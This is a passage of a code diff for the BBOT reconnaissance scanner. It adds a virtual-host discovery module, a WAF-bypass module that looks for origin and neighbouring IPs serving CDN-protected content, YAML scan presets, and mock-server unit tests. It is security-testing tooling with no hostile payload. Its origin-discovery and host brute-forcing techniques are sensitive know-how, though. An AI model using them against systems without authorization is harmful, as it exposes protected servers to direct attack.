try: + result = await completed + except CurlError as e: + if getattr(self.scan, "stopping", False) or getattr(self.scan, "aborting", False): + self.debug(f"CurlError during shutdown (suppressed): {e}") + break + self.debug(f"CurlError in virtualhost test (skipping this test): {e}") + continue + if result: # Only append non-None results + virtual_host_results.append(result) + self.debug( + f"ADDED RESULT {len(virtual_host_results)}: {result['probe_host']} (similarity: {result['similarity']:.3f}) [Status: {result['status_code']} | Size: {result['content_length']} bytes]" + ) + + # Early exit if we're clearly hitting false positives + if len(virtual_host_results) >= self.MAX_RESULTS_FLOOD_PROTECTION: + self.warning( + f"RESULT FLOOD DETECTED: found {len(virtual_host_results)} virtual hosts (limit: {self.MAX_RESULTS_FLOOD_PROTECTION}), likely false positives - stopping further tests and skipping reporting" + ) + break + + except CurlError as e: + if getattr(self.scan, "stopping", False) or getattr(self.scan, "aborting", False): + self.debug(f"CurlError in as_completed during shutdown (suppressed): {e}") + return [] + self.warning(f"CurlError in as_completed, stopping all tests: {e}") + return [] + + # Return results for emission at _run_virtualhost_phase level + return virtual_host_results + + async def _test_virtualhost( + self, + normalized_url, + probe_host, + basehost, + event, + canary_response, + canary_mode, + skip_dns_host, + host_ip, + discovery_method, + ): + """ + Test a single virtual host candidate using HTTP Host header or HTTPS SNI + Returns virtual host data if detected, None otherwise + """ + is_https = event.parsed_url.scheme == "https" + + # Make request - different approach for HTTP vs HTTPS + if is_https: + port = event.parsed_url.port or 443 + probe_response = await self.helpers.web.curl( + url=f"https://{probe_host}:{port}/", + resolve={"host": probe_host, "port": port, "ip": host_ip}, + ) + else: + port = event.parsed_url.port or 80 + probe_response = await self.helpers.web.curl( + url=normalized_url, + headers={"Host": probe_host}, + resolve={"host": event.parsed_url.hostname, "port": port, "ip": host_ip}, + ) + + if not probe_response or probe_response["response_data"] == "": + protocol = "HTTPS" if is_https else "HTTP" + self.debug(f"{protocol} probe failed for {probe_host} on ip {host_ip} - no response or empty data") + return None + + similarity = await self.analyze_response(probe_host, probe_response, canary_response, event) + if similarity is None: + return None + + # Different from canary = possibly real virtual host, similar to canary = probably junk + if similarity > self.SIMILARITY_THRESHOLD: + self.debug( + f"REJECTING {probe_host}: similarity {similarity:.3f} > threshold {self.SIMILARITY_THRESHOLD} (too similar to canary)" + ) + return None + else: + self.verbose( + f"POTENTIAL VIRTUALHOST {probe_host} sim={similarity:.3f} " + f"probe: {probe_response.get('http_code', 'N/A')} | {len(probe_response.get('response_data', ''))}B | {probe_response.get('url', 'N/A')} ; " + f"canary: {canary_response.get('http_code', 'N/A')} | {len(canary_response.get('response_data', ''))}B | {canary_response.get('url', 'N/A')}" + ) + + # Re-verify canary consistency before emission + if not await self._verify_canary_consistency( + canary_response, canary_mode, normalized_url, is_https, basehost, host_ip + ): + self.verbose( + f"CANARY CHANGED: Rejecting {probe_host}. Original canary had code {canary_response['http_code']} and response data of length {len(canary_response['response_data'])}" + ) + raise CurlError(f"Canary changed since initial test, rejecting {probe_host}") + # Canary is consistent, proceed + + probe_url = f"{event.parsed_url.scheme}://{probe_host}:{port}/" + + # Check for keyword-based virtual host wildcards + if not await self._verify_canary_keyword(probe_response, probe_url, is_https, basehost, host_ip): + return None + + # Don't emit if this would be the same as the original netloc + if probe_host == event.parsed_url.netloc: + self.verbose(f"Skipping emit for virtual host {probe_host} - is the same as the original netloc") + return None + + # Check if this virtual host is externally accessible + port = event.parsed_url.port or (443 if is_https else 80) + + is_externally_accessible = await self._is_host_accessible(probe_url) + + virtualhost_dict = { + "host": str(event.host), + "url": normalized_url, + "virtual_host": probe_host, + "description": self._build_description( + discovery_method, probe_response, is_externally_accessible, host_ip + ), + "ip": host_ip, + } + + # Skip if we require inaccessible hosts and this one is accessible + if self.config.get("require_inaccessible", True) and is_externally_accessible: + self.verbose( + f"Skipping emit for virtual host {probe_host} - is externally accessible and require_inaccessible is True" + ) + return None + + # Return data for emission at _run_virtualhost_phase level + technique = "SNI" if is_https else "Host header" + return { + "virtualhost_dict": virtualhost_dict, + "similarity": similarity, + "probe_host": probe_host, + "skip_dns_host": skip_dns_host, + "discovery_method": f"{discovery_method} ({technique})", + "status_code": probe_response.get("http_code", "N/A"), + "content_length": len(probe_response.get("response_data", "")), + "probe_response": probe_response, + } + + async def analyze_response(self, probe_host, probe_response, canary_response, event): + probe_status = probe_response["http_code"] + canary_status = canary_response["http_code"] + + # Check for invalid/no response - skip processing + if probe_status == 0 or not probe_response.get("response_data"): + self.debug(f"SKIPPING {probe_host} - no valid HTTP response (status: {probe_status})") + return None + + if probe_status == 400: + self.debug(f"SKIPPING {probe_host} - got 400 Bad Request") + return None + + # Check for 421 Misdirected Request - clear signal that virtual host doesn't exist + if probe_status == 421: + self.debug(f"SKIPPING {probe_host} - got 421 Misdirected Request (SNI not configured)") + return None + + if probe_status == 502 or probe_status == 503: + self.debug(f"SKIPPING {probe_host} - got 502 or 503 Bad Gateway") + return None + + # Check for 403 Forbidden - signal that the virtual host is rejected (unless we started with a 403) + if probe_status == 403 and canary_status != 403: + self.debug(f"SKIPPING {probe_host} - got 403 Forbidden when canary status was {canary_status}") + return None + + if probe_status == 508: + self.debug(f"SKIPPING {probe_host} - got 508 Loop Detected") + return None + + # Check for redirects back to original domain - indicates virtual host just redirects to canonical + if probe_status in [301, 302]: + redirect_url = probe_response.get("redirect_url", "") + if redirect_url and str(event.parsed_url.netloc) in redirect_url: + self.debug(f"SKIPPING {probe_host} - redirects back to original domain {event.parsed_url.netloc}") + return None + + if any(waf_string in probe_response["response_data"] for waf_string in self.waf_strings): + self.debug(f"SKIPPING {probe_host} - got WAF response") + return None + + # Calculate content similarity to canary (junk response) + # Use probe hostname for normalization to remove hostname reflection differences + + probe_simhash = await self.helpers.run_in_executor_mp( + compute_simhash, probe_response["response_data"], normalization_filter=probe_host + ) + canary_simhash = await self.helpers.run_in_executor_mp( + compute_simhash, canary_response["response_data"], normalization_filter=probe_host + ) + + similarity = self.helpers.simhash.similarity(probe_simhash, canary_simhash) + + if similarity <= self.SIMILARITY_THRESHOLD: + self.verbose( + f"POTENTIAL MATCH: {probe_host} vs canary - similarity: {similarity:.3f} (threshold: {self.SIMILARITY_THRESHOLD}), probe status: {probe_status}, canary status: {canary_status}" + ) + + return similarity + + async def _verify_canary_keyword(self, original_response, probe_url, is_https, basehost, host_ip): + """Perform last-minute check on the canary for keyword-based virtual host wildcards""" + + try: + keyword_canary_response = await self._get_canary_response( + probe_url, basehost, host_ip, is_https, mode="random_append" + ) + except CurlError as e: + self.warning(f"Canary verification failed due to curl error: {e}") + return False + + if not keyword_canary_response: + return False + + # If we get the exact same content after altering the hostname, keyword based virtual host routing is likely being used + if keyword_canary_response["response_data"] == original_response["response_data"]: + self.verbose( + f"Intentionally wrong hostname has a canary too similar to the original. Using probe url: {probe_url} - response data is exactly the same" + ) + return False + + original_simhash = await self.helpers.run_in_executor_mp(compute_simhash, original_response["response_data"]) + keyword_simhash = await self.helpers.run_in_executor_mp( + compute_simhash, keyword_canary_response["response_data"] + ) + similarity = self.helpers.simhash.similarity(original_simhash, keyword_simhash) + + if similarity >= self.SIMILARITY_THRESHOLD: + self.verbose( + f"Intentionally wrong hostname has a canary too similar to the original. Using probe url: {probe_url} - similarity: {similarity:.3f} above threshold {self.SIMILARITY_THRESHOLD} - Original: {original_response.get('http_code', 'N/A')} ({len(original_response.get('response_data', ''))} bytes), Current: {keyword_canary_response.get('http_code', 'N/A')} ({len(keyword_canary_response.get('response_data', ''))} bytes)" + ) + return False + return True + + async def _verify_canary_consistency( + self, original_canary_response, canary_mode, normalized_url, is_https, basehost, host_ip + ): + """Perform last-minute check on the canary for consistency""" + + # Re-run the same canary test as we did initially + try: + consistency_canary_response = await self._get_canary_response( + normalized_url, basehost, host_ip, is_https, mode=canary_mode + ) + except CurlError as e: + self.warning(f"Canary verification failed due to curl error: {e}") + return False + + if not consistency_canary_response: + return False + + # Check if HTTP codes are different first (hard failure) + if original_canary_response["http_code"] != consistency_canary_response["http_code"]: + self.verbose( + f"CANARY HTTP CODE CHANGED for {normalized_url} - Original: {original_canary_response.get('http_code', 'N/A')} ({len(original_canary_response.get('response_data', ''))} bytes), Current: {consistency_canary_response.get('http_code', 'N/A')} ({len(consistency_canary_response.get('response_data', ''))} bytes)" + ) + return False + + # if response data is exactly the same, we're good + if original_canary_response["response_data"] == consistency_canary_response["response_data"]: + return True + + # Fallback - use similarity comparison for response data (allows slight differences) + original_simhash = await self.helpers.run_in_executor_mp( + compute_simhash, original_canary_response["response_data"] + ) + consistency_simhash = await self.helpers.run_in_executor_mp( + compute_simhash, consistency_canary_response["response_data"] + ) + similarity = self.helpers.simhash.similarity(original_simhash, consistency_simhash) + if similarity < self.SIMILARITY_THRESHOLD: + self.verbose( + f"CANARY SIMILARITY CHANGED for {normalized_url} - similarity: {similarity:.3f} below threshold {self.SIMILARITY_THRESHOLD} - Original: {original_canary_response.get('http_code', 'N/A')} ({len(original_canary_response.get('response_data', ''))} bytes), Current: {consistency_canary_response.get('http_code', 'N/A')} ({len(consistency_canary_response.get('response_data', ''))} bytes)" + ) + return False + return True + + def _extract_title(self, response_data): + """Extract title from HTML response""" + soup = self.helpers.beautifulsoup(response_data, "html.parser") + if soup and soup.title and soup.title.string: + return soup.title.string.strip() + return None + + def _build_description(self, discovery_string, probe_response, is_externally_accessible=None, host_ip=None): + """Build detailed description with discovery technique and content info""" + http_code = probe_response.get("http_code", "N/A") + response_size = len(probe_response.get("response_data", "")) + + description = f"Discovery Technique: [{discovery_string}], Discovered Content: [Status Code: {http_code}]" + + # Add title if available + title = self._extract_title(probe_response.get("response_data", "")) + if title: + description += f" [Title: {title}]" + description += f" [Size: {response_size} bytes]" + + # Add IP address if available + if host_ip: + description += f" [IP: {host_ip}]" + + # Add accessibility information if available + if is_externally_accessible is not None: + accessibility_status = "externally accessible" if is_externally_accessible else "not externally accessible" + description += f" [Access: {accessibility_status}]" + + return description + + def mutations_check(self, virtualhost): + mutations_list = [] + for mutation in self.helpers.word_cloud.mutations(virtualhost, cloud=False): + mutations_list.extend(["".join(mutation), "-".join(mutation)]) + mutations_list_file = self.helpers.tempfile(mutations_list, pipe=False) + return mutations_list_file + + async def finish(self): + # phase 5: check existing hosts with wordcloud + self.verbose(" === Starting Finish() Wordcloud check === ") + if not self.config.get("wordcloud_check", False): + self.debug("FINISH METHOD: Wordcloud check is disabled, skipping finish phase") + return + + if not self.helpers.word_cloud.keys(): + self.verbose("FINISH METHOD: No wordcloud data available for finish phase") + return + + # Filter wordcloud words: no dots, reasonable length limit + all_wordcloud_words = list(self.helpers.word_cloud.keys()) + filtered_words = [] + for word in all_wordcloud_words: + # Filter out words with dots (likely full domains) + if "." in word: + continue + # Filter out very long words (likely noise) + if len(word) > 15: + continue + # Filter out very short words (likely noise) + if len(word) < 2: + continue + filtered_words.append(word) + + tempfile = self.helpers.tempfile(filtered_words, pipe=False) + self.debug( + f"FINISH METHOD: Starting wordcloud check on {len(self.scanned_hosts)} hosts using {len(filtered_words)} filtered words from wordcloud" + ) + + for host, event in self.scanned_hosts.items(): + if host not in self.wordcloud_tried_hosts: + host_parsed_url = urlparse(host) + + if self.config.get("force_basehost"): + basehost = self.config.get("force_basehost") + else: + basehost, subdomain = self._get_basehost(event) + + # Get fresh canary and original response for this host + is_https = host_parsed_url.scheme == "https" + host_ip = next(iter(event.resolved_hosts)) + + self.verbose(f"FINISH METHOD: Starting wildcard check for {host}") + baseline_response = await self._get_baseline_response(event, host, host_ip) + if not await self._wildcard_canary_check( + host_parsed_url.scheme, host_parsed_url.netloc, event, host_ip, baseline_response + ): + self.debug( + f"WILDCARD CHECK FAILED in finish: Skipping {host} in wordcloud phase - failed virtual host wildcard check" + ) + self.wordcloud_tried_hosts.add(host) # Mark as tried to avoid retrying + continue + else: + self.debug(f"WILDCARD CHECK PASSED in finish: Proceeding with wordcloud mutations for {host}") + + await self._run_virtualhost_phase( + "Target host wordcloud mutations", + host, + basehost, + host_ip, + is_https, + event, + "subdomain", + wordlist=tempfile, + ) + self.wordcloud_tried_hosts.add(host) + + async def filter_event(self, event): + if ( + "cdn-cloudflare" in event.tags + or "cdn-imperva" in event.tags + or "cdn-akamai" in event.tags + or "cdn-cloudfront" in event.tags + ): + self.debug(f"Not processing URL {event.data} because it's behind a WAF or CDN, and that's pointless") + return False + return True diff --git a/bbot/modules/waf_bypass.py b/bbot/modules/waf_bypass.py new file mode 100644 index 0000000000..dc7fe38151 --- /dev/null +++ b/bbot/modules/waf_bypass.py @@ -0,0 +1,304 @@ +from radixtarget.tree.ip import IPRadixTree +from bbot.modules.base import BaseModule +from bbot.core.helpers.simhash import compute_simhash + + +class waf_bypass(BaseModule): + """ + Module to detect WAF bypasses by finding direct IP access to WAF-protected content. + + Overview: + Throughout the scan, we collect: + 1. WAF-protected domains (identified by CloudFlare/Imperva tags) and their SimHash content fingerprints + 2. All domain->IP mappings from DNS resolution of URL events + 3. Cloud IPs separately tracked via "cloud-ip" tags + + In finish(), we test if WAF-protected content can be accessed directly via IPs from non-protected domains. + Optionally, it explores IP neighbors within the same ASN to find additional bypass candidates. + """ + + watched_events = ["URL"] + produced_events = ["VULNERABILITY"] + options = { + "similarity_threshold": 0.90, + "search_ip_neighbors": True, + "neighbor_cidr": 24, # subnet size to explore when gathering neighbor IPs + } + + options_desc = { + "similarity_threshold": "Similarity threshold for content matching", + "search_ip_neighbors": "Also check IP neighbors of the target domain", + "neighbor_cidr": "CIDR mask (24-31) used for neighbor enumeration when search_ip_neighbors is true", + } + flags = ["active", "safe", "web-thorough"] + meta = { + "description": "Detects potential WAF bypasses", + "author": "@liquidsec", + "created_date": "2025-09-26", + } + + async def setup(self): + # Track protected domains and their potential bypass CIDRs + self.protected_domains = {} # {domain: event} - track protected domains and store their parent events + self.domain_ip_map = {} # {full_domain: set(ips)} - track all IPs for each domain + self.content_fingerprints = {} # {url: {simhash, http_code}} - track the content fingerprints for each URL + self.similarity_threshold = self.config.get("similarity_threshold", 0.90) + self.search_ip_neighbors = self.config.get("search_ip_neighbors", True) + self.neighbor_cidr = int(self.config.get("neighbor_cidr", 24)) + + if self.search_ip_neighbors and not (24 <= self.neighbor_cidr <= 31): + self.warning(f"Invalid neighbor_cidr {self.neighbor_cidr}. Must be between 24 and 31.") + return False + # Keep track of (protected_domain, ip) pairs we have already attempted to bypass + self.attempted_bypass_pairs = set() + # Keep track of any IPs that came from hosts that are "cloud-ips" + self.cloud_ips = set() + return True + + async def filter_event(self, event): + if "endpoint" in event.tags: + return False, "WAF bypass module only considers directory URLs" + return True + + async def handle_event(self, event): + domain = str(event.host) + url = str(event.data) + + # Store the IPs that each domain (that came from a URL event) resolves to. We have to resolve ourself, since normal BBOT DNS resolution doesn't keep ALL the IPs + domain_dns_response = await self.helpers.dns.resolve(domain) + if domain_dns_response: + if domain not in self.domain_ip_map: + self.domain_ip_map[domain] = set() + for ip in domain_dns_response: + ip_str = str(ip) + # Validate that this is actually an IP address before storing + if self.helpers.is_ip(ip_str): + self.domain_ip_map[domain].add(ip_str) + self.debug(f"Mapped domain {domain} to IP {ip_str}") + if "cloud-ip" in event.tags: + self.cloud_ips.add(ip_str) + self.debug(f"Added cloud-ip {ip_str} to cloud_ips") + else: + self.warning(f"DNS resolution for {domain} returned non-IP result: {ip_str}") + else: + self.warning(f"DNS resolution failed for {domain}") + + # Detect WAF/CDN protection based on tags + provider_name = None + if "cdn-cloudflare" in event.tags or "waf-cloudflare" in event.tags: + provider_name = "CloudFlare" + elif "cdn-imperva" in event.tags: + provider_name = "Imperva" + + is_protected = provider_name is not None + + if is_protected: + self.debug(f"{provider_name} protection detected via tags: {event.tags}") + # Save the full domain and event for WAF-protected URLs, this is necessary to find the appropriate parent event later in .finish() + self.protected_domains[domain] = event + self.debug(f"Found {provider_name}-protected domain: {domain}") + + curl_response = await self.get_url_content(url) + if not curl_response: + self.debug(f"Failed to get response from protected URL {url}") + return + + if not curl_response["response_data"]: + self.debug(f"Failed to get content from protected URL {url}") + return + + # Store a "simhash" (fuzzy hash) of the response data for later comparison + simhash = await self.helpers.run_in_executor_mp(compute_simhash, curl_response["response_data"]) + + self.content_fingerprints[url] = { + "simhash": simhash, + "http_code": curl_response["http_code"], + } + self.debug( + f"Stored simhash of response from {url} (content length: {len(curl_response['response_data'])})" + ) + + async def get_url_content(self, url, ip=None): + """Helper function to fetch content from a URL, optionally through specific IP""" + try: + if ip: + # Build resolve dict for curl helper + host_tuple = self.helpers.extract_host(url) + if not host_tuple[0]: + self.warning(f"Failed to extract host from URL: {url}") + return None + host = host_tuple[0] + + # Determine port from scheme (default 443/80) or explicit port in URL + try: + from urllib.parse import urlparse + + parsed = urlparse(url) + port = parsed.port or (443 if parsed.scheme == "https" else 80) + except Exception: + port = 443 # safe default for https + + self.debug(f"Fetching via curl with --resolve {host}:{port}:{ip} for {url}") + + curl_response = await self.helpers.web.curl( + url=url, + resolve={"host": host, "port": port, "ip": ip}, + ) + + if curl_response: + return curl_response + else: + self.debug(f"curl returned no content for {url} via IP {ip}") + else: + response = await self.helpers.web.curl(url=url) + if not response: + self.debug(f"No response received from {url}") + return None + elif response.get("http_code", 0) in [200, 301, 302, 500]: + return response + else: + self.debug( + f"Failed to fetch content from {url} - Status: {response.get('http_code', 'unknown')} (not in allowed list)" + ) + return None + except Exception as e: + self.debug(f"Error fetching content from {url}: {str(e)}") + return None + + async def check_ip(self, ip, source_domain, protected_domain, source_event): + matching_url = next((url for url in self.content_fingerprints.keys() if protected_domain in url), None) + + if not matching_url: + self.debug(f"No matching URL found for {protected_domain} in stored fingerprints") + return None + + original_response = self.content_fingerprints.get(matching_url) + if not original_response: + self.debug(f"did not get original response for {matching_url}") + return None + + self.verbose(f"Bypass attempt: {protected_domain} via {ip} from {source_domain}") + + bypass_response = await self.get_url_content(matching_url, ip) + bypass_simhash = await self.helpers.run_in_executor_mp(compute_simhash, bypass_response["response_data"]) + if not bypass_response: + self.debug(f"Failed to get content through IP {ip} for URL {matching_url}") + return None + + if original_response["http_code"] != bypass_response["http_code"]: + self.debug(f"Ignoring code difference {original_response['http_code']} != {bypass_response['http_code']}") + return None + + is_redirect = False + if bypass_response["http_code"] == 301 or bypass_response["http_code"] == 302: + is_redirect = True + + similarity = self.helpers.simhash.similarity(original_response["simhash"], bypass_simhash) + + # For redirects, require exact match (1.0), otherwise use configured threshold + required_threshold = 1.0 if is_redirect else self.similarity_threshold + return (matching_url, ip, similarity, source_event) if similarity >= required_threshold else None + + async def finish(self): + self.verbose(f"Found {len(self.protected_domains)} Protected Domains") + + confirmed_bypasses = [] # [(protected_url, matching_ip, similarity)] + ip_bypass_candidates = {} # {ip: domain} + waf_ips = set() + + # First collect all the WAF-protected DOMAINS we've seen + for protected_domain in self.protected_domains: + if protected_domain in self.domain_ip_map: + waf_ips.update(self.domain_ip_map[protected_domain]) + + # Then collect all the non-WAF-protected IPs we've seen + for domain, ips in self.domain_ip_map.items(): + self.debug(f"Checking IP {ips} from domain {domain}") + if domain not in self.protected_domains: # If it's not a protected domain + for ip in ips: + # Validate that this is actually an IP address before processing + if not self.helpers.is_ip(ip): + self.warning(f"Skipping non-IP address '{ip}' found in domain_ip_map for {domain}") + continue + + if ip not in waf_ips: # And IP isn't a known WAF IP + ip_bypass_candidates[ip] = domain + self.debug(f"Added potential bypass IP {ip} from domain {domain}") + + # if we have IP neighbors searching enabled, and the IP isn't a cloud IP, we can add the IP neighbors to our list of potential bypasses + if self.search_ip_neighbors and ip not in self.cloud_ips: + import ipaddress + + # Get the ASN data for the IP - used later to keep brute force from crossing ASN boundaries + asn_data = await self.helpers.asn.ip_to_subnets(str(ip)) + if asn_data: + # Build a radix tree of the ASN subnets for the IP + asn_subnets_tree = IPRadixTree() + for subnet in asn_data["subnets"]: + asn_subnets_tree.insert(subnet, data=True) + + # Generate a network based on the neighbor_cidr option + neighbor_net = ipaddress.ip_network(f"{ip}/{self.neighbor_cidr}", strict=False) + for neighbor_ip in neighbor_net.hosts(): + neighbor_ip_str = str(neighbor_ip) + # Don't add the neighbor IP if its: ip we started with, a waf ip, or already in the list + if ( + neighbor_ip_str == ip + or neighbor_ip_str in waf_ips + or neighbor_ip_str in ip_bypass_candidates + ): + continue + + # make sure we aren't crossing an ASN boundary with our neighbor exploration + if asn_subnets_tree.get_node(neighbor_ip_str): + self.debug( + f"Added Neighbor IP ({ip} -> {neighbor_ip_str}) as potential bypass IP derived from {domain}" + ) + ip_bypass_candidates[neighbor_ip_str] = domain + else: + self.debug(f"IP {ip} is in WAF IPS so we don't check as potential bypass") + + self.verbose(f"\nFound {len(ip_bypass_candidates)} non-WAF IPs to check") + + coros = [] + new_pairs_count = 0 + + for protected_domain, source_event in self.protected_domains.items(): + for ip, src in ip_bypass_candidates.items(): + combo = (protected_domain, ip) + if combo in self.attempted_bypass_pairs: + continue + self.attempted_bypass_pairs.add(combo) + new_pairs_count += 1 + self.debug(f"Checking {ip} for {protected_domain} from {src}") + coros.append(self.check_ip(ip, src, protected_domain, source_event)) + + self.verbose( + f"Checking {new_pairs_count} new bypass pairs (total attempted: {len(self.attempted_bypass_pairs)})..." + ) + + self.debug(f"about to start {len(coros)} coroutines") + async for completed in self.helpers.as_completed(coros): + result = await completed + if result: + confirmed_bypasses.append(result) + + if confirmed_bypasses: + # Aggregate by URL and similarity + agg = {} + for matching_url, ip, similarity, src_evt in confirmed_bypasses: + rec = agg.setdefault((matching_url, similarity), {"ips": [], "event": src_evt}) + rec["ips"].append(ip) + + for (matching_url, sim_key), data in agg.items(): + ip_list = data["ips"] + ip_list_str = ", ".join(sorted(set(ip_list))) + await self.emit_event( + { + "severity": "MEDIUM", + "url": matching_url, + "description": f"WAF Bypass Confirmed - Direct IPs: {ip_list_str} for {matching_url}. Similarity {sim_key:.2%}", + }, + "VULNERABILITY", + data["event"], + ) diff --git a/bbot/presets/waf-bypass.yml b/bbot/presets/waf-bypass.yml new file mode 100644 index 0000000000..801782538b --- /dev/null +++ b/bbot/presets/waf-bypass.yml @@ -0,0 +1,19 @@ +description: WAF bypass detection with subdomain enumeration + +flags: + # enable subdomain enumeration to find potential bypass targets + - subdomain-enum + +modules: + # explicitly enable the waf_bypass module for detection + - waf_bypass + # ensure httpx is enabled for web probing + - httpx + +config: + # waf_bypass module configuration + modules: + waf_bypass: + similarity_threshold: 0.90 + search_ip_neighbors: true + neighbor_cidr: 24 \ No newline at end of file diff --git a/bbot/presets/web/virtualhost-heavy.yml b/bbot/presets/web/virtualhost-heavy.yml new file mode 100644 index 0000000000..f195a6591a --- /dev/null +++ b/bbot/presets/web/virtualhost-heavy.yml @@ -0,0 +1,16 @@ +description: Scan heavily for virtual hosts, with a focus on discovering as many valid virtual hosts as possible + +modules: + - httpx + - virtualhost + +config: + modules: + virtualhost: + require_inaccessible: False + wordcloud_check: True + subdomain_brute: True + mutation_check: True + special_hosts: True + certificate_sans: True + diff --git a/bbot/presets/web/virtualhost-light.yml b/bbot/presets/web/virtualhost-light.yml new file mode 100644 index 0000000000..70f5fcde40 --- /dev/null +++ b/bbot/presets/web/virtualhost-light.yml @@ -0,0 +1,16 @@ +description: Scan for virtual hosts, with a focus on hidden normally not accessible content + +modules: + - httpx + - virtualhost + +config: + modules: + virtualhost: + require_inaccessible: True + wordcloud_check: False + subdomain_brute: False + mutation_check: True + special_hosts: False + certificate_sans: True + diff --git a/bbot/test/test_step_2/module_tests/test_module_virtualhost.py b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py new file mode 100644 index 0000000000..55ac0f4b2a --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py @@ -0,0 +1,892 @@ +from .base import ModuleTestBase, tempwordlist +import re +from werkzeug.wrappers import Response + + +class VirtualhostTestBase(ModuleTestBase): + """Base class for virtualhost tests with common setup""" + + async def setup_before_prep(self, module_test): + # Fix randomness for predictable canary generation + module_test.monkeypatch.setattr("random.seed", lambda x: None) + import string + + def predictable_choice(seq): + return seq[0] if seq == string.ascii_lowercase else seq[0] + + module_test.monkeypatch.setattr("random.choice", predictable_choice) + + async def setup_after_prep(self, module_test): + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + +class TestVirtualhostSpecialHosts(VirtualhostTestBase): + """Test special hosts detection""" + + targets = ["http://localhost:8888"] + modules_overrides = ["httpx", "virtualhost"] + config_overrides = { + "modules": { + "virtualhost": { + "subdomain_brute": False, # Focus on special hosts only + "mutation_check": False, # Focus on special hosts only + "special_hosts": True, # Enable special hosts + "certificate_sans": False, + "wordcloud_check": False, + "require_inaccessible": False, + } + } + } + + async def setup_after_prep(self, module_test): + # Keep request handler-based HTTP server + await super().setup_after_prep(module_test) + + # Emit URL event manually and ensure resolved_hosts + from bbot.modules.base import BaseModule + + class DummyModule(BaseModule): + _name = "dummy_module_special" + watched_events = ["SCAN"] + + async def handle_event(self, event): + if event.type == "SCAN": + url_event = self.scan.make_event( + "http://localhost:8888/", + "URL", + parent=event, + tags=["status-200", "ip-127.0.0.1"], + ) + await self.emit_event(url_event) + + module_test.scan.modules["dummy_module_special"] = DummyModule(module_test.scan) + + # Patch virtualhost to inject resolved_hosts + vh_module = module_test.scan.modules["virtualhost"] + orig_handle_event = vh_module.handle_event + + async def patched_handle_event(ev): + ev._resolved_hosts = {"127.0.0.1"} + return await orig_handle_event(ev) + + module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) + + def request_handler(self, request): + host_header = request.headers.get("Host", "").lower() + + # Baseline request to localhost (with or without port) + if not host_header or host_header in ["localhost", "localhost:8888"]: + return Response("baseline response from localhost", status=200) + + # Wildcard canary check + if re.match(r"[a-z]ocalhost(?::8888)?$", host_header): + return Response("different wildcard response", status=404) + + # Random canary requests (12 lowercase letters .com) + if re.match(r"^[a-z]{12}\.com(?::8888)?$", host_header): + return Response( + """ +404 Not Found

Not Found

Random canary host.

""", + status=404, + ) + + # Special hosts responses - return different content than canary + if host_header == "host.docker.internal": + return Response("Docker internal host active", status=200) + if host_header == "127.0.0.1": + return Response("Loopback host active", status=200) + if host_header == "localhost": + return Response("Localhost virtual host active", status=200) + + # Default for any other requests - match canary content to avoid false positives + return Response( + """ +404 Not Found

Not Found

Random canary host.

""", + status=404, + ) + + def check(self, module_test, events): + special_hosts_found = set() + for e in events: + if e.type == "VIRTUAL_HOST": + vhost = e.data["virtual_host"] + if vhost in ["host.docker.internal", "127.0.0.1", "localhost"]: + special_hosts_found.add(vhost) + + # Test description elements to ensure they are as expected + description = e.data["description"] + assert ( + "Discovery Technique: [Special virtual host list" in description + or "Discovery Technique: [Mutations on discovered" in description + ), f"Description missing or unexpected discovery technique: {description}" + assert "Status Code:" in description, f"Description missing status code: {description}" + assert "Size:" in description and "bytes" in description, ( + f"Description missing size: {description}" + ) + assert "IP: 127.0.0.1" in description, f"Description missing IP: {description}" + assert "Access:" in description, f"Description missing access status: {description}" + + assert len(special_hosts_found) >= 1, f"Failed to detect special virtual hosts. Found: {special_hosts_found}" + + +class TestVirtualhostBruteForce(VirtualhostTestBase): + """Test subdomain brute-force detection using HTTP Host headers""" + + targets = ["http://test.example:8888"] + modules_overrides = ["virtualhost"] # Remove httpx, we'll manually create URL events + test_wordlist = ["admin", "api", "test"] + config_overrides = { + "modules": { + "virtualhost": { + "brute_wordlist": tempwordlist(test_wordlist), + "subdomain_brute": True, # Enable brute force + "mutation_check": False, # Focus on brute force only + "special_hosts": False, # Focus on brute force only + "certificate_sans": False, + "wordcloud_check": False, + "require_inaccessible": False, + } + } + } + + async def setup_after_prep(self, module_test): + # Call parent setup_after_prep to set up the HTTP server with request_handler + await super().setup_after_prep(module_test) + + # Set up DNS mocking for test.example to resolve to 127.0.0.1 + await module_test.mock_dns({"test.example": {"A": ["127.0.0.1"]}}) + + # Create a dummy module that will emit the URL event during the scan + from bbot.modules.base import BaseModule + + class DummyModule(BaseModule): + _name = "dummy_module" + watched_events = ["SCAN"] + + async def handle_event(self, event): + if event.type == "SCAN": + # Create and emit URL event for virtualhost module to process + url_event = self.scan.make_event( + "http://test.example:8888/", "URL", parent=event, tags=["status-200", "ip-127.0.0.1"] + ) + await self.emit_event(url_event) + + # Add the dummy module to the scan + dummy_module = DummyModule(module_test.scan) + module_test.scan.modules["dummy_module"] = dummy_module + + # Patch virtualhost to inject resolved_hosts for URL events during the test + vh_module = module_test.scan.modules["virtualhost"] + orig_handle_event = vh_module.handle_event + + async def patched_handle_event(ev): + ev._resolved_hosts = {"127.0.0.1"} + return await orig_handle_event(ev) + + module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) + + def request_handler(self, request): + from werkzeug.wrappers import Response + + host_header = request.headers.get("Host", "").lower() + + # Baseline request to test.example or example (with or without port) + if not host_header or host_header in ["test.example", "test.example:8888", "example", "example:8888"]: + return Response("baseline response from example baseline", status=200) + + # Wildcard canary check - change one character in test.example + if re.match(r"[a-z]est\.example", host_header): + return Response("wildcard canary different response", status=404) + + # Brute-force canary requests - random string + .test.example (with optional port) + if re.match(r"^[a-z]{12}\.test\.example(?::8888)?$", host_header): + return Response("subdomain canary response", status=404) + + # Brute-force matches on discovered basehost (admin|api|test).test.example (with optional port) + if host_header in ["admin.test.example", "admin.test.example:8888"]: + return Response("Admin panel found here!", status=200) + if host_header in ["api.test.example", "api.test.example:8888"]: + return Response("API endpoint found here!", status=200) + if host_header in ["test.test.example", "test.test.example:8888"]: + return Response("Test environment found here!", status=200) + + # Default response + return Response("default response", status=404) + + def check(self, module_test, events): + brute_hosts_found = set() + for e in events: + if e.type == "VIRTUAL_HOST": + vhost = e.data["virtual_host"] + if vhost in ["admin.test.example", "api.test.example", "test.test.example"]: + brute_hosts_found.add(vhost) + + assert len(brute_hosts_found) >= 